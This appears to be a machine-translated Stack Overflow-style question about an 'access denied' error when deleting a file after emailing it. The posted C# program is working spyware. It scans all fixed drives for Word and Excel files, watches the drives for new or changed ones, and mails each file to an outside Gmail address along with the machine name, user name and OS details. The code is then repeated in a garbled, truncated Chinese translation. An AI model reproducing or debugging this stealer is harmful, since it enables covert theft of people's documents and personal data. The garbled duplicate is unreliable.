C# 当我在邮寄文件后尝试删除文件时,访问被拒绝

C# 当我在邮寄文件后尝试删除文件时,访问被拒绝,c#,io,access-denied,delete-file,C#,Io,Access Denied,Delete File,当我尝试删除文件时,访问被拒绝…在我的文件夹队列中使用文件的部分是什么 我的应用程序搜索所有doc和xls文件,并将它们放入队列文件夹,然后在doe从每个文件中删除它们后上载,但我被拒绝访问 namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form1() { InitializeComponent();

当我尝试删除文件时,访问被拒绝…在我的文件夹队列中使用文件的部分是什么

我的应用程序搜索所有doc和xls文件,并将它们放入队列文件夹,然后在doe从每个文件中删除它们后上载,但我被拒绝访问

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {

        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

            if (Directory.Exists("queue"))
            {
                Thread t2 = new Thread(delegate()
                {
                startListeningToDrives();
                //Thread.Sleep(15000);
                uploadAllFiles(1024);
                });
                t2.Start();

            }
            else {
                Thread t2 = new Thread(delegate()
                {
                    //Thread.Sleep(15000);
                    DriveInfo[] allDrives = DriveInfo.GetDrives();
                    foreach (DriveInfo d in allDrives)
                    {
                        if (d.IsReady && d.DriveType == DriveType.Fixed)
                        {
                            string str = d.ToString();
                            grabAllFiles(@str, "*.doc");
                            grabAllFiles(@str, "*.xls");
                        }

                    }
                    startListeningToDrives();
                });
                t2.Start();

            }
        }

        static void CreateFileWatcher(string path, string theExtension)
        {

            // Create a new FileSystemWatcher and set its properties.
            FileSystemWatcher watcher = new FileSystemWatcher();
            watcher.Path = path;
            watcher.IncludeSubdirectories = true;
            /* Watch for changes in LastAccess and LastWrite times, and 
               the renaming of files or directories. */
            watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
               | NotifyFilters.FileName | NotifyFilters.DirectoryName;
            // Only watch text files.
            watcher.Filter = theExtension;

            // Add event handlers.
            watcher.Changed += new FileSystemEventHandler(OnChanged);
            watcher.Created += new FileSystemEventHandler(OnChanged);

            // Begin watching.
            watcher.EnableRaisingEvents = true;
        }

        static void send_file(string fpath, string fname, string finfo)
        {

            MailMessage mail = new MailMessage();
            SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
            mail.From = new MailAddress("questealer@gmail.com");
            mail.To.Add("somemail@gmail.com");
            mail.Subject = fname;
            mail.Body = finfo;

            System.Net.Mail.Attachment attachment;
            Random rnd = new Random();
            int fnum = rnd.Next(1, 999999);
            if (fpath.ToLower()!=  "queue\\"+fname.ToLower())
            {
                File.Copy(@fpath, "queue\\file" + fnum, true);
                attachment = new System.Net.Mail.Attachment("queue\\file" + fnum);
            }
            else {
                attachment = new System.Net.Mail.Attachment(@fpath);
            }
            attachment.Name = fname;
            mail.Attachments.Add(attachment);

            SmtpServer.Port = 587;
            SmtpServer.Credentials = new System.Net.NetworkCredential("somemail@gmail.com", "*********");
            SmtpServer.EnableSsl = true;


            SmtpServer.Send(mail);
            FileInfo myf = new FileInfo("queue\\" + attachment.Name);
            //I get error here
            myf.Delete();
            //I get error here
        }
        static string ToFileSize( long size)
        {
            if (size < 1024)
            {
                return (size).ToString("F0") + " bytes";
            }
            else if (size < Math.Pow(1024, 2))
            {
                return (size / 1024).ToString("F0") + " KB";
            }
            else if (size < Math.Pow(1024, 3))
            {
                return (size / Math.Pow(1024, 2)).ToString("F0") + " MB";
            }
            else if (size < Math.Pow(1024, 4))
            {
                return (size / Math.Pow(1024, 3)).ToString("F0") + " GB";
            }
            else if (size < Math.Pow(1024, 5))
            {
                return (size / Math.Pow(1024, 4)).ToString("F0") + " TB";
            }
            else if (size < Math.Pow(1024, 6))
            {
                return (size / Math.Pow(1024, 5)).ToString("F0") + " PB";
            }
            else
            {
                return (size / Math.Pow(1024, 6)).ToString("F0") + " EB";
            }
        }
        static void uploadAllFiles(int maxsize) {

            string[] queueDirList = Directory.GetFiles(@"queue");
            foreach (string name in queueDirList)
            {
                FileInfo myf = new FileInfo(name);
                if (myf.Length < maxsize * 1024)
                {
                    send_file(name, myf.Name,
                        "\n►Filename: " + myf.FullName + "\n" +
                        "►Size: " + ToFileSize(myf.Length) + "\n" +
                        "►Changetype: Initial Search\n" +
                        "►Current Directory: " + System.Environment.CurrentDirectory + "\n" +
                        "►MachineName: " + System.Environment.MachineName + "\n" +
                        "►OS Version: " + System.Environment.OSVersion + "\n" +
                        "►ProcessorCount: " + System.Environment.ProcessorCount + "\n" +
                        "►Version: " + System.Environment.Version + "\n" +
                        "►UserDomainName: " + System.Environment.UserDomainName + "\n" +
                        "►UserName: " + System.Environment.UserName + "\n" +
                        "►SystemDirectory: " + System.Environment.SystemDirectory + "\n"
                        );
                }

            }

        }
        static void startListeningToDrives() {

            DriveInfo[] allDrives = DriveInfo.GetDrives();
            foreach (DriveInfo d in allDrives)
            {
                if (d.IsReady && d.DriveType == DriveType.Fixed)
                {
                    string str = d.ToString();
                    CreateFileWatcher(@str, "*.doc");
                    CreateFileWatcher(@str, "*.docx");
                    CreateFileWatcher(@str, "*.xls");
                    CreateFileWatcher(@str, "*.xlsx");
                }

            }
        }
        static void grabAllFiles(string searchdir,string sftype)
        {

                Directory.CreateDirectory("queue");
                IEnumerable<string> filesOrDirectories = SearchFiles(@searchdir, sftype);
                Random a = new Random();
                foreach (string fileOrDirectory in filesOrDirectories)
                {
                    if (!(File.GetAttributes(fileOrDirectory) == FileAttributes.Directory))
                    {
                        try
                        {

                            int ran = a.Next(0, 99999999);
                            File.Copy(fileOrDirectory, "queue\\File_" + ran + "_" + Path.GetFileName(fileOrDirectory), true);
                        }
                        catch (System.IO.IOException)
                        {

                        }
                    }

                }


        }

        // Define the event handlers.
        private static void OnChanged(object source, FileSystemEventArgs e)
        {
            Thread t = new Thread(delegate()
            {Thread.Sleep(1000);
                if (File.Exists(e.FullPath))
                {
                    FileInfo myf = new FileInfo(e.FullPath);
                    if (myf.DirectoryName.ToLower() != Directory.GetCurrentDirectory().ToLower() + "\\queue")
                    {
                        send_file(e.FullPath, myf.Name,
                            "\n►Filename: " + myf.FullName + "\n" +
                            "►Size: " + ToFileSize(myf.Length) + "\n" +
                            "►Changetype: " + e.ChangeType + "\n" +
                            "►Current Directory: " + System.Environment.CurrentDirectory + "\n" +
                            "►MachineName: " + System.Environment.MachineName + "\n" +
                            "►OS Version: " + System.Environment.OSVersion + "\n" +
                            "►ProcessorCount: " + System.Environment.ProcessorCount + "\n" +
                            "►Version: " + System.Environment.Version + "\n" +
                            "►UserDomainName: " + System.Environment.UserDomainName + "\n" +
                            "►UserName: " + System.Environment.UserName + "\n" +
                            "►SystemDirectory: " + System.Environment.SystemDirectory + "\n"

                            );
                    }


                }
            });
            t.Start();
        }
        public static IEnumerable<string> SearchFiles(string root, string searchPattern)
        {
            Stack<string> pending = new Stack<string>();
            pending.Push(root);
            while (pending.Count != 0)
            {
                var path = pending.Pop();
                string[] next = null;
                try
                {
                    next = Directory.GetFiles(path, searchPattern);
                }
                catch { }
                if (next != null && next.Length != 0)
                    foreach (var file in next) yield return file;
                try
                {
                    next = Directory.GetDirectories(path);
                    foreach (var subdir in next) pending.Push(subdir);
                }
                catch { }
            }
        }    

    }
}
命名空间窗口窗体应用程序1
{
公共部分类Form1:Form
{
公共表格1()
{
初始化组件();
}
私有void Form1\u加载(对象发送方、事件参数e)
{
if(Directory.Exists(“queue”))
{
线程t2=新线程(委托()
{
令人吃惊的是,这是驱动力();
//睡眠(15000);
上载所有文件(1024);
});
t2.Start();
}
否则{
线程t2=新线程(委托()
{
//睡眠(15000);
DriveInfo[]allDrives=DriveInfo.GetDrives();
foreach(所有驱动器中的驱动器信息d)
{
if(d.IsReady&&d.DriveType==DriveType.Fixed)
{
string str=d.ToString();
grabAllFiles(@str,“*.doc”);
grabAllFiles(@str,“*.xls”);
}
}
令人吃惊的是,这是驱动力();
});
t2.Start();
}
}
静态void CreateFileWatcher(字符串路径、字符串扩展)
{
//创建新的FileSystemWatcher并设置其属性。
FileSystemWatcher watcher=新的FileSystemWatcher();
watcher.Path=Path;
watcher.IncludeSubdirectories=true;
/*观察LastAccess和LastWrite时间的更改,以及
文件或目录的重命名*/
watcher.NotifyFilter=NotifyFilters.LastAccess | NotifyFilters.LastWrite
|NotifyFilters.FileName | NotifyFilters.DirectoryName;
//只看文本文件。
watcher.Filter=扩展;
//添加事件处理程序。
watcher.Changed+=新文件系统EventHandler(OnChanged);
watcher.Created+=新文件系统EventHandler(OnChanged);
//开始观看。
watcher.EnableRaisingEvents=true;
}
静态void发送文件(字符串fpath、字符串fname、字符串finfo)
{
MailMessage mail=新的MailMessage();
SmtpClient SmtpServer=新的SmtpClient(“smtp.gmail.com”);
mail.From=新邮件地址(“questealer@gmail.com");
mail.To.Add(“somemail@gmail.com");
mail.Subject=fname;
mail.Body=finfo;
System.Net.Mail.Attachment附件;
随机rnd=新随机();
int fnum=rnd.Next(1999999);
如果(fpath.ToLower()!=“队列\\”+fname.ToLower())
{
Copy(@fpath,“queue\\File”+fnum,true);
附件=新系统.Net.Mail.attachment(“队列\\文件”+fnum);
}
否则{
附件=新系统.Net.Mail.attachment(@fpath);
}
附件.Name=fname;
mail.Attachments.Add(附件);
SmtpServer.Port=587;
SmtpServer.Credentials=新系统.Net.NetworkCredential(“somemail@gmail.com", "*********");
SmtpServer.EnableSsl=true;
发送(邮件);
FileInfo myf=新文件信息(“队列\\”+附件.Name);
//我这里有个错误
myf.Delete();
//我这里有个错误
}
静态字符串到文件大小(长大小)
{
如果(大小<1024)
{
return(size).ToString(“F0”)+“bytes”;
}
else if(大小<数学功率(1024,2))
{
返回值(大小/1024).ToString(“F0”)+“KB”;
}
else if(大小<数学功率(1024,3))
{
返回(size/Math.Pow(1024,2)).ToString(“F0”)+“MB”;
}
else if(大小<数学功率(1024,4))
{
返回(size/Math.Pow(1024,3)).ToString(“F0”)+“GB”;
}
else if(尺寸<数学功率(1024,5))
{
return(size/Math.Pow(1024,4)).ToString(“F0”)+“TB”;
}
else if(大小<数学功率(1024,6))
{
返回(size/Math.Pow(1024,5)).ToString(“F0”)+“PB”;
}
其他的
{
返回(size/Math.Pow(1024,6)).ToString(“F0”)+“EB”;
}
}
静态void uploadAllFiles(int maxsize){
字符串[]queueDirList=Directory.GetFiles(@“queue”);
foreach(queueDirList中的字符串名称)
{
FileInfo myf=新的FileInfo(名称);
如果(myf.Lengthattachment.Dispose();